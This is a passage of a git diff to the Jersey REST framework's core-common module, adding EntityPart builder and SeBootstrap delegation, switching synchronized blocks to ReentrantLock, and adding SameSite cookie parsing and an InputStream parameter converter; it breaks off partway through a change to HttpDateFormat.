@@ -0,0 +1,32 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.innate.spi; + +import org.glassfish.jersey.message.MessageBodyWorkers; + +/** + * Entity type that expects the {@link MessageBodyWorkers} to be set for converting the entity to another types. + */ +public interface MessageBodyWorkersSettable { + + /** + * Set message body workers used to transform an entity stream into particular Java type. + * + * @param messageBodyWorkers message body workers. + */ + public void setMessageBodyWorkers(final MessageBodyWorkers messageBodyWorkers); +}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/core-common/src/main/java/org/glassfish/jersey/innate/spi/package-info.java similarity index 75% copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java copy to core-common/src/main/java/org/glassfish/jersey/innate/spi/package-info.java index dd25372..3d70312 100644 --- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java +++ b/core-common/src/main/java/org/glassfish/jersey/innate/spi/package-info.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,7 +14,7 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.internal.jsr166; - -public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> { -} +/** + * Common Jersey innate SPI classes. The innate package will not be opened by JPMS. + */ +package org.glassfish.jersey.innate.spi;
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/AbstractRuntimeDelegate.java b/core-common/src/main/java/org/glassfish/jersey/internal/AbstractRuntimeDelegate.java index aa439db..39940fb 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/AbstractRuntimeDelegate.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/AbstractRuntimeDelegate.java
@@ -25,14 +25,20 @@ import jakarta.ws.rs.core.CacheControl; import jakarta.ws.rs.core.Configuration; import jakarta.ws.rs.core.Cookie; +import jakarta.ws.rs.core.EntityPart; import jakarta.ws.rs.core.EntityTag; import jakarta.ws.rs.core.Link; import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.NewCookie; import jakarta.ws.rs.core.Response.ResponseBuilder; import jakarta.ws.rs.core.UriBuilder; +import jakarta.ws.rs.ext.ParamConverter; import jakarta.ws.rs.ext.RuntimeDelegate; +import org.glassfish.jersey.innate.spi.EntityPartBuilderProvider; +import org.glassfish.jersey.internal.util.collection.LazyValue; +import org.glassfish.jersey.internal.util.collection.Value; +import org.glassfish.jersey.internal.util.collection.Values; import org.glassfish.jersey.message.internal.JerseyLink; import org.glassfish.jersey.message.internal.OutboundJaxrsResponse; import org.glassfish.jersey.message.internal.OutboundMessageContext; @@ -50,6 +56,8 @@ private final Set<HeaderDelegateProvider> hps; private final Map<Class<?>, HeaderDelegate<?>> map; + private LazyValue<EntityPartBuilderProvider> entityPartBuilderProvider = Values.lazy( + (Value<EntityPartBuilderProvider>) () -> findEntityPartBuilderProvider()); /** * Initialization constructor. The injection manager will be shut down. @@ -117,4 +125,24 @@ return null; } + + @Override + public EntityPart.Builder createEntityPartBuilder(String partName) throws IllegalArgumentException { + return entityPartBuilderProvider.get().withName(partName); + } + + /** + * Obtain a {@code RuntimeDelegate} instance using the method described in {@link #getInstance}. + * + * @return an instance of {@code RuntimeDelegate}. + */ + private static EntityPartBuilderProvider findEntityPartBuilderProvider() { + for (final EntityPartBuilderProvider entityPartBuilder : ServiceFinder.find(EntityPartBuilderProvider.class)) { + if (entityPartBuilder != null) { + return entityPartBuilder; + } + } + + throw new IllegalArgumentException(LocalizationMessages.NO_ENTITYPART_BUILDER_FOUND()); + } }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java index 65ac48b..12eb78b 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java
@@ -23,7 +23,6 @@ import jakarta.ws.rs.RuntimeType; import jakarta.ws.rs.container.DynamicFeature; import java.util.HashSet; -import java.util.List; import java.util.Map; import java.util.Set;
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java b/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java index eb86f0c..55e5a68 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java
@@ -181,6 +181,11 @@ for (ServiceHolder<ExceptionMapper> mapperHandle: mapperHandles) { ExceptionMapper mapper = mapperHandle.getInstance(); + // the default exception mapper is processed by the ServerRuntime + if ("org.glassfish.jersey.server.DefaultExceptionMapper".equals(mapper.getClass().getName())) { + continue; + } + if (Proxy.isProxyClass(mapper.getClass())) { SortedSet<Class<? extends ExceptionMapper>> mapperTypes = new TreeSet<>((o1, o2) -> o1.isAssignableFrom(o2) ? -1 : 1);
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/MapPropertiesDelegate.java b/core-common/src/main/java/org/glassfish/jersey/internal/MapPropertiesDelegate.java index aed1cfe..3cce5bd 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/MapPropertiesDelegate.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/MapPropertiesDelegate.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -64,6 +64,11 @@ } @Override + public boolean hasProperty(final String name) { + return store.containsKey(name); + } + + @Override public Object getProperty(String name) { return store.get(name); }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java b/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java index cb7545f..e69569e 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -37,7 +37,9 @@ import java.util.ResourceBundle; import java.util.concurrent.Callable; import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReadWriteLock; +import java.util.concurrent.locks.ReentrantLock; import java.util.concurrent.locks.ReentrantReadWriteLock; import java.util.jar.JarEntry; import java.util.jar.JarInputStream; @@ -55,6 +57,8 @@ import org.osgi.framework.FrameworkUtil; import org.osgi.framework.SynchronousBundleListener; +import static java.nio.charset.StandardCharsets.UTF_8; + /** * Utility class to deal with OSGi runtime specific behavior. * This is mainly to handle META-INF/services lookup @@ -79,6 +83,7 @@ private final Map<Long, Map<String, Callable<List<Class<?>>>>> factories = new HashMap<Long, Map<String, Callable<List<Class<?>>>>>(); private final ReadWriteLock lock = new ReentrantReadWriteLock(); + private static final Lock INSTANCE_LOCK = new ReentrantLock(); private static OsgiRegistry instance; @@ -90,16 +95,21 @@ * * @return an {@code OsgiRegistry} instance. */ - public static synchronized OsgiRegistry getInstance() { - if (instance == null) { - final ClassLoader classLoader = AccessController - .doPrivileged(ReflectionHelper.getClassLoaderPA(ReflectionHelper.class)); - if (classLoader instanceof BundleReference) { - final BundleContext context = FrameworkUtil.getBundle(OsgiRegistry.class).getBundleContext(); - if (context != null) { // context could be still null if the current bundle has not been started - instance = new OsgiRegistry(context); + public static OsgiRegistry getInstance() { + INSTANCE_LOCK.lock(); + try { + if (instance == null) { + final ClassLoader classLoader = AccessController + .doPrivileged(ReflectionHelper.getClassLoaderPA(ReflectionHelper.class)); + if (classLoader instanceof BundleReference) { + final BundleContext context = FrameworkUtil.getBundle(OsgiRegistry.class).getBundleContext(); + if (context != null) { // context could be still null if the current bundle has not been started + instance = new OsgiRegistry(context); + } } } + } finally { + INSTANCE_LOCK.unlock(); } return instance; } @@ -202,7 +212,7 @@ if (LOGGER.isLoggable(Level.FINEST)) { LOGGER.log(Level.FINEST, "Loading providers for SPI: {0}", spi); } - reader = new BufferedReader(new InputStreamReader(spiRegistryUrl.openStream(), "UTF-8")); + reader = new BufferedReader(new InputStreamReader(spiRegistryUrl.openStream(), UTF_8)); String providerClassName; final List<Class<?>> providerClasses = new ArrayList<Class<?>>();
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/PropertiesDelegate.java b/core-common/src/main/java/org/glassfish/jersey/internal/PropertiesDelegate.java index 70833b9..3413de0 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/PropertiesDelegate.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/PropertiesDelegate.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -43,6 +43,22 @@ */ public Object getProperty(String name); + /** + * Returns {@code true} if the property with the given name registered in the current request/response + * exchange context, or {@code false} if there is no property by that name. + * <p> + * Use the {@link #getProperty} method with a property name to get the value of + * a property. + * </p> + * + * @return {@code true} if a property matching the given name exists, or + * {@code false} otherwise. + * @see #getProperty + * @since 3.1.0 + */ + public default boolean hasProperty(String name) { + return getProperty(name) != null; + } /** * Returns an immutable {@link java.util.Collection collection} containing the property
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateDecorator.java b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateDecorator.java index 5f954ba..b21616d 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateDecorator.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateDecorator.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2019, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2019, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -19,16 +19,20 @@ import org.glassfish.jersey.internal.util.PropertiesHelper; import org.glassfish.jersey.spi.HeaderDelegateProvider; +import jakarta.ws.rs.SeBootstrap; import jakarta.ws.rs.core.Application; import jakarta.ws.rs.core.Configuration; +import jakarta.ws.rs.core.EntityPart; import jakarta.ws.rs.core.Link; import jakarta.ws.rs.core.Response; import jakarta.ws.rs.core.UriBuilder; import jakarta.ws.rs.core.Variant; import jakarta.ws.rs.ext.RuntimeDelegate; + import java.util.Collections; import java.util.HashSet; import java.util.Set; +import java.util.concurrent.CompletionStage; /** * RuntimeDelegate Decorator that changes behaviour due to provided runtime information. @@ -102,6 +106,27 @@ return runtimeDelegate.createLinkBuilder(); } + @Override + public SeBootstrap.Configuration.Builder createConfigurationBuilder() { + return runtimeDelegate.createConfigurationBuilder(); + } + + @Override + public CompletionStage<SeBootstrap.Instance> bootstrap(Application application, SeBootstrap.Configuration configuration) { + return runtimeDelegate.bootstrap(application, configuration); + } + + @Override + public CompletionStage<SeBootstrap.Instance> bootstrap(Class<? extends Application> applicationClass, + SeBootstrap.Configuration configuration) { + return runtimeDelegate.bootstrap(applicationClass, configuration); + } + + @Override + public EntityPart.Builder createEntityPartBuilder(String partName) throws IllegalArgumentException { + return runtimeDelegate.createEntityPartBuilder(partName); + } + private <T> HeaderDelegate<T> _createHeaderDelegate(final Class<T> type) { for (final HeaderDelegateProvider hp : headerDelegateProviders) { if (hp.supports(type)) {
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java index 88d1826..db16be8 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java
@@ -16,11 +16,16 @@ package org.glassfish.jersey.internal; +import jakarta.ws.rs.SeBootstrap; import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.EntityPart; import jakarta.ws.rs.ext.RuntimeDelegate; import org.glassfish.jersey.message.internal.MessagingBinders; +import java.util.Optional; +import java.util.concurrent.CompletionStage; + /** * Default implementation of JAX-RS {@link jakarta.ws.rs.ext.RuntimeDelegate}. * The {@link jakarta.ws.rs.ext.RuntimeDelegate} class looks for the implementations registered @@ -42,14 +47,50 @@ public <T> T createEndpoint(Application application, Class<T> endpointType) throws IllegalArgumentException, UnsupportedOperationException { - // TODO : Do we need multiple RuntimeDelegates? + final RuntimeDelegate runtimeDelegate = findServerDelegate(); + if (runtimeDelegate != null) { + return runtimeDelegate.createEndpoint(application, endpointType); + } + throw new UnsupportedOperationException(LocalizationMessages.NO_CONTAINER_AVAILABLE()); + } + + @Override + public SeBootstrap.Configuration.Builder createConfigurationBuilder() { + final RuntimeDelegate runtimeDelegate = findServerDelegate(); + if (runtimeDelegate != null) { + return runtimeDelegate.createConfigurationBuilder(); + } + throw new UnsupportedOperationException(LocalizationMessages.NO_CONTAINER_AVAILABLE()); + } + + @Override + public CompletionStage<SeBootstrap.Instance> bootstrap(Application application, SeBootstrap.Configuration configuration) { + final RuntimeDelegate runtimeDelegate = findServerDelegate(); + if (runtimeDelegate != null) { + return runtimeDelegate.bootstrap(application, configuration); + } + throw new UnsupportedOperationException(LocalizationMessages.NO_CONTAINER_AVAILABLE()); + } + + @Override + public CompletionStage<SeBootstrap.Instance> bootstrap(Class<? extends Application> applicationClass, + SeBootstrap.Configuration configuration) { + final RuntimeDelegate runtimeDelegate = findServerDelegate(); + if (runtimeDelegate != null) { + return runtimeDelegate.bootstrap(applicationClass, configuration); + } + throw new UnsupportedOperationException(LocalizationMessages.NO_CONTAINER_AVAILABLE()); + } + + // TODO : Do we need multiple RuntimeDelegates? + private RuntimeDelegate findServerDelegate() { for (RuntimeDelegate delegate : ServiceFinder.find(RuntimeDelegate.class)) { // try to find runtime delegate from core-server if (delegate.getClass() != RuntimeDelegateImpl.class) { RuntimeDelegate.setInstance(delegate); - return delegate.createEndpoint(application, endpointType); + return delegate; } } - throw new UnsupportedOperationException(LocalizationMessages.NO_CONTAINER_AVAILABLE()); + return null; } }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinder.java b/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinder.java index 46184d8..03d15d3 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinder.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinder.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -33,6 +33,8 @@ import java.util.NoSuchElementException; import java.util.Set; import java.util.TreeSet; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; import java.util.logging.Level; import java.util.logging.Logger; @@ -797,17 +799,20 @@ public abstract static class ServiceIteratorProvider { private static volatile ServiceIteratorProvider sip; - private static final Object sipLock = new Object(); + private static final Lock sipLock = new ReentrantLock(); private static ServiceIteratorProvider getInstance() { // TODO: check the following is a good practice: Double-check idiom for lazy initialization of fields. ServiceIteratorProvider result = sip; if (result == null) { // First check (no locking) - synchronized (sipLock) { + sipLock.lock(); + try { result = sip; if (result == null) { // Second check (with locking) sip = result = new DefaultServiceIteratorProvider(); } + } finally { + sipLock.unlock(); } } return result; @@ -819,8 +824,11 @@ final ReflectPermission rp = new ReflectPermission("suppressAccessChecks"); security.checkPermission(rp); } - synchronized (sipLock) { + sipLock.lock(); + try { ServiceIteratorProvider.sip = sip; + } finally { + sipLock.unlock(); } }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java b/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java index 78a628d..a42a860 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java
@@ -33,6 +33,7 @@ "org.glassfish.jersey.helidon.connector.HelidonClientProperties", "org.glassfish.jersey.jdk.connector.JdkConnectorProperties", "org.glassfish.jersey.jetty.connector.JettyClientProperties", + "org.glassfish.jersey.jnh.connector.JavaNetHttpClientProperties", "org.glassfish.jersey.netty.connector.NettyClientProperties", "org.glassfish.jersey.media.multipart.MultiPartProperties", "org.glassfish.jersey.server.oauth1.OAuth1ServerProperties");
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModel.java b/core-common/src/main/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModel.java index 13a4baf..23b127a 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModel.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModel.java
@@ -86,7 +86,7 @@ } @Override public <T> Optional<T> getOptionalProperty(String name, Class<T> clazz) { - return Optional.of(as(name, clazz)); + return Optional.ofNullable(as(name, clazz)); } @Override @@ -230,9 +230,4 @@ public Set<Object> getInstances() { return null; } - - // Jersey 2.x - private boolean hasProperty(String name) { - return getProperty(name) != null; - } } \ No newline at end of file
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java index 7b83560..aafb278 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java
@@ -17,11 +17,15 @@ package org.glassfish.jersey.internal.inject; +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.lang.reflect.Type; +import java.nio.charset.StandardCharsets; import java.security.AccessController; import java.text.ParseException; import java.util.Date; @@ -300,6 +304,39 @@ } /** + * Provider of {@link ParamConverter param converter} that convert the supplied string into a Java + * {@link InputStream} instance. + */ + public static class InputStreamProvider implements ParamConverterProvider { + + @Override + public <T> ParamConverter<T> getConverter(Class<T> rawType, Type genericType, Annotation[] annotations) { + return rawType != InputStream.class ? null : new ParamConverter<T>() { + + @Override + public T fromString(String value) { + if (value == null) { + throw new IllegalArgumentException(LocalizationMessages.METHOD_PARAMETER_CANNOT_BE_NULL("value")); + } + return rawType.cast(new ByteArrayInputStream(value.getBytes(StandardCharsets.UTF_8))); + } + + @Override + public String toString(T value) { + if (value == null) { + throw new IllegalArgumentException(LocalizationMessages.METHOD_PARAMETER_CANNOT_BE_NULL("value")); + } + try { + return new String(((InputStream) value).readAllBytes()); + } catch (IOException ioe) { + throw new ExtractorException(ioe); + } + } + }; + } + } + + /** * Provider of {@link ParamConverter param converter} that produce the Optional instance * by invoking {@link ParamConverterProvider}. */ @@ -468,6 +505,7 @@ new TypeFromStringEnum(canThrowNull), new TypeValueOf(canThrowNull), new CharacterProvider(canThrowNull), + new InputStreamProvider(), new TypeFromString(canThrowNull), new StringConstructor(canThrowNull), new OptionalCustomProvider(manager, canThrowNull),
diff --git a/core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/Flow.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/Flow.java similarity index 100% rename from core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/Flow.java rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/Flow.java
diff --git a/core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java similarity index 100% rename from core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
diff --git a/core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java similarity index 100% rename from core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java
diff --git a/core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java similarity index 100% rename from core-common/src/main/java11/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java
diff --git a/core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java similarity index 100% rename from core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java
diff --git a/core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/package-info.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/package-info.java similarity index 100% rename from core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166/package-info.java rename to core-common/src/main/java/org/glassfish/jersey/internal/jsr166/package-info.java
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Values.java b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Values.java index 4761644..5c3a747 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Values.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Values.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,6 +16,9 @@ package org.glassfish.jersey.internal.util.collection; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; + /** * A collection of {@link Value Value provider} factory & utility methods. * @@ -297,25 +300,28 @@ private static class LazyValueImpl<T> implements LazyValue<T> { - private final Object lock; + private final Lock lock; private final Value<T> delegate; private volatile Value<T> value; public LazyValueImpl(final Value<T> delegate) { this.delegate = delegate; - this.lock = new Object(); + this.lock = new ReentrantLock(); } @Override public T get() { Value<T> result = value; if (result == null) { - synchronized (lock) { + lock.lock(); + try { result = value; if (result == null) { value = result = Values.of(delegate.get()); } + } finally { + lock.unlock(); } } return result.get(); @@ -380,21 +386,22 @@ private static class LazyUnsafeValueImpl<T, E extends Throwable> implements LazyUnsafeValue<T, E> { - private final Object lock; + private final Lock lock; private final UnsafeValue<T, E> delegate; private volatile UnsafeValue<T, E> value; public LazyUnsafeValueImpl(final UnsafeValue<T, E> delegate) { this.delegate = delegate; - this.lock = new Object(); + this.lock = new ReentrantLock(); } @Override public T get() throws E { UnsafeValue<T, E> result = value; if (result == null) { - synchronized (lock) { + lock.lock(); + try { result = value; //noinspection ConstantConditions if (result == null) { @@ -406,6 +413,8 @@ } value = result; } + } finally { + lock.unlock(); } } return result.get();
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java index f7e2673..466eaaa 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java
@@ -46,7 +46,7 @@ * * @deprecated use {@code StandardCharsets.UTF_8} instead. */ - @Deprecated + @Deprecated(forRemoval = true) public static final Charset UTF8 = StandardCharsets.UTF_8; /**
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/CommittingOutputStream.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/CommittingOutputStream.java index 05e77cb..e9f1bc2 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/CommittingOutputStream.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/CommittingOutputStream.java
@@ -65,7 +65,7 @@ * Null stream provider. */ private static final OutboundMessageContext.StreamProvider NULL_STREAM_PROVIDER = - contentLength -> new NullOutputStream(); + contentLength -> OutputStream.nullOutputStream(); /** * Default size of the buffer which will be used if no user defined size is specified. */ @@ -173,7 +173,7 @@ Preconditions.checkState(streamProvider != null, STREAM_PROVIDER_NULL); adaptedOutput = streamProvider.getOutputStream(currentSize); if (adaptedOutput == null) { - adaptedOutput = new NullOutputStream(); + adaptedOutput = OutputStream.nullOutputStream(); } directWrite = true;
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/CookiesParser.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/CookiesParser.java index 51bb99e..958a1bc 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/CookiesParser.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/CookiesParser.java
@@ -129,6 +129,7 @@ boolean secure = false; boolean httpOnly = false; Date expiry = null; + NewCookie.SameSite sameSite = null; public MutableNewCookie(String name, String value) { this.name = name; @@ -136,7 +137,7 @@ } public NewCookie getImmutableNewCookie() { - return new NewCookie(name, value, path, domain, version, comment, maxAge, expiry, secure, httpOnly); + return new NewCookie(name, value, path, domain, version, comment, maxAge, expiry, secure, httpOnly, sameSite); } } @@ -172,9 +173,11 @@ cookie.version = Integer.parseInt(value); } else if (param.startsWith("httponly")) { cookie.httpOnly = true; + } else if (param.startsWith("samesite")) { + cookie.sameSite = NewCookie.SameSite.valueOf(value.toUpperCase()); } else if (param.startsWith("expires")) { try { - cookie.expiry = HttpDateFormat.readDate(value + ", " + bites[++i]); + cookie.expiry = HttpDateFormat.readDate(value + ", " + bites[++i].trim()); } catch (ParseException e) { LOGGER.log(Level.FINE, LocalizationMessages.ERROR_NEWCOOKIE_EXPIRES(value), e); }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/DateProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/DateProvider.java index 09e7553..8417fb5 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/DateProvider.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/DateProvider.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -43,7 +43,7 @@ @Override public String toString(final Date header) { throwIllegalArgumentExceptionIfNull(header, LocalizationMessages.DATE_IS_NULL()); - return HttpDateFormat.getPreferredDateFormat().format(header); + return HttpDateFormat.getPreferredDateFormatter().format(header); } @Override
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpDateFormat.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpDateFormat.java index 75479e6..9cf2abf 100644 --- a/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpDateFormat.java +++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/HttpDateFormat.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,12 +18,18 @@ import java.text.ParseException; import java.text.SimpleDateFormat; +import java.time.Instant; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.time.format.DateTimeParseException; import java.util.Arrays; import java.util.Collections; import java.util.Date; import java.util.List; import java.util.Locale; +import java.util.Queue; import java.util.TimeZone; +import java.util.concurrent.ConcurrentLinkedQueue; /** * Helper class for HTTP specified date formats. @@ -33,6 +39,46 @@ */ public final class HttpDateFormat { + private static final boolean USE_SIMPLE_DATE_FORMAT_OVER_DATE_TIME_FORMATTER = true; + + /** + * <p> + * A minimum formatter for converting java {@link Date} and {@link LocalDateTime} to {@code String} and vice-versa. + * </p> + * <p> + * Works as a facade for implementation backed by {@link SimpleDateFormat} and {@link DateTimeFormatter}. + * </p> + */ + public static interface HttpDateFormatter { + /** + * + * @param date + * @return + */ + Date toDate(String date); + + /** + * + * @param date + * @return + */ + LocalDateTime toDateTime(String date); + /** + * Formats a {@link Date} into a date-time string. + * + * @param date the time value to be formatted into a date-time string. + * @return the formatted date-time string. + */ + String format(Date 